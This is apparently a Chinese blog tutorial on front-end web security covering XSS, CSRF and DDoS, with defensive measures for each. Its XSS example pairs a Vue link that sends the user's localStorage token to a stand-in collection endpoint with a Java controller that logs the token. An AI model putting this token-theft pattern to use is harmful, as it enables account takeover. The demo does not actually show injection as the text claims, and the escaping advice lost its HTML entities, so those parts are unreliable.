前端视角下的 Web 安全攻防：XSS、CSRF、DDoS 一次看懂

在 Web 应用开发中，与前端直接相关的、最常见、最核心的是安全漏洞和防御措施。

1. XSS（跨站脚本攻击）

攻击原理：

它的核心是攻击者想方设法地将恶意的JavaScript脚本，注入到我们的网页中，并让其他用户的浏览器去执行它。一旦恶意脚本被执行，攻击者就可以窃取用户的Token，或者在页面上伪造登录框骗取用户信息，甚至发起网络蠕虫攻击。

攻击场景：

XSS最危险的场景，是窃取存储在 localStorage 或 sessionStorage 里的认证凭证，比如 JWT Token。

假设我们有一个社区网站，用户可以发布带链接的评论。后端存储了用户提交的link地址，前端在渲染评论时，为了实现点击跳转，直接使用了 :href="comment.link" 来绑定这个链接地址。"

现在，一个攻击者发布了一条评论。他填写的link地址，不是一个普通的https://网址，而是一个JavaScript伪协议链接。

复制代码

<script setup>
  import { onMounted } from 'vue'
  const comments = [
    { id: 1, text: '这是第一条评论', link: 'https://example.com/1' },
    { id: 2, text: '这是第二条评论', link: 'https://example.com/2' },
    {
      id: 3, text: '这是第三条评论', link: `http://localhost:8080/user/getToken?token=${localStorage.getItem('token')}`
    }
  ]

  onMounted(() => {
    console.log(localStorage.getItem('token'));
  })
</script>

<template>
  <ul>
    <li v-for="comment in comments" :key="comment.id">
      <a :href="comment.link" target="_blank">{{ comment.text }}</a>
    </li>
  </ul>
</template>

<style scoped>
  ul {
    padding: 0;
    list-style: none;
  }

  li {
    margin-bottom: 8px;
  }

  a {
    color: #42b983;
    text-decoration: none;
  }

  a:hover {
    text-decoration: underline;
  }
</style>

@RestController
@RequestMapping("/user")
public class WxUserController {
    @GetMapping("getToken")
    public Result getToken(@RequestParam String token) {
        System.out.println("收到的token: " + token);
        return Result.success("获取token成功", token);
    }
}

攻击者拿到用户的 token 可以为所欲为了

防范措施：

输入的时候校验，前后端都要校验，拒绝非法字符
输出时转义：把 < 转成 <，> 转成 >，让浏览器显示而不是执行
使用 CSP（内容安全策略）：限制能执行脚本的来源，禁止内联脚本
敏感接口要校验：防止恶意脚本调用重要脚本

在Web认证中，Token 和 HttpOnly Cookie 并非谁绝对优于谁，它们是两种不同的安全策略，各自防御的侧重点不同，也各自引入了新的风险。一个安全的系统，在于理解并正确地运用它们。

Token (存储在 localStorage )

优点：天生免疫 CSRF 攻击：Token 不会被浏览器在跨站请求时自动携带，因此攻击者无法利用用户的身份在自己的网站上伪造请求。
致命弱点 ：在 XSS 攻击面前极其脆弱：localStorage 对页面上的所有JavaScript代码都是可见的。一旦网站存在任何XSS漏洞，攻击者注入的脚本就可以通过 localStorage.getItem('token') 轻松窃取到用户的完整身份凭证。
安全前提 ：选择此方案，意味着你必须对 XSS 防护有极高的要求和信心，需要做到万无一失的内容过滤和校验。

HttpOnly Cookie

优点：能有效抵御 XSS 窃取：HttpOnly 属性禁止了JavaScript通过 document.cookie 读取Cookie。即使网站存在XSS漏洞，攻击者也无法直接窃取到用户的身份凭证，守住了最后的安全堡垒。
致命弱点 ：天生易受 CSRF 攻击：Cookie会被浏览器在所有同站请求（包括跨站发起的同站请求）中自动携带，这是CSRF攻击能够得逞的根本原因。
安全前提 ：选择此方案，意味着必须配合一套强大的 Anti-CSRF 策略，比如使用CSRF Token或严格的 SameSite Cookie属性。

用 localStorage 存 Token，用全部精力去防 XSS；用 HttpOnly Cookie，用全部精力去防 CSRF。

2. DDoS 攻击（分布式拒绝服务攻击）

DDoS 的全称是 Distributed Denial of Service，中文意思是"分布式拒绝服务攻击"。

简单来说，它的核心目标就一个：让你的网站或服务因为不堪重负而瘫痪，导致正常用户无法访问。

通俗点讲：

正常人1秒访问1次
攻击者让几万个机器疯狂访问
服务器一下子撑爆，挂了

防范措施：

让防火墙、阿里云盾，腾讯云盾在边缘拦截异常流量
限流、熔断、降级机制：限制同一 IP 访问速率，超限就栏
弹性扩容：服务器可以自动扩容，提高抗压能力
CDN 加速+缓存：把静态资源缓存到离用户最近的节点，分散请求压力
识别并封禁攻击 IP

3. CSRF 攻击（跨站请求伪造）

CSRF（Cross-Site Request Forgery，跨站请求伪造）

👉 攻击者诱导用户在登录状态下，去访问一个恶意请求，冒充用户做事情

例子：

你登录了银行网站
攻击者诱导你点了一个恶意链接
你的浏览器带着银行的 Cookie 发请求
银行误以为是你本人操作了！

防范措施：

验证码验证：让真正用户手动操作，不被自动伪造
SameSite Cookie 策略：把 Cookie 设置为 SameSite，限制跨站带 Cookie
Referer/Origin 校验：后端检查请求来源是不是自己的网站
使用 CSRF Token ：每次表单/请求附带一个随机生成的 token，后台验证 token 是否匹配

前端视角下的 Web 安全攻防：XSS、CSRF、DDoS 一次看懂

1. XSS（跨站脚本攻击）

1.1. Token vs HttpOnly Cookie

2. DDoS 攻击（分布式拒绝服务攻击）

3. CSRF 攻击（跨站请求伪造）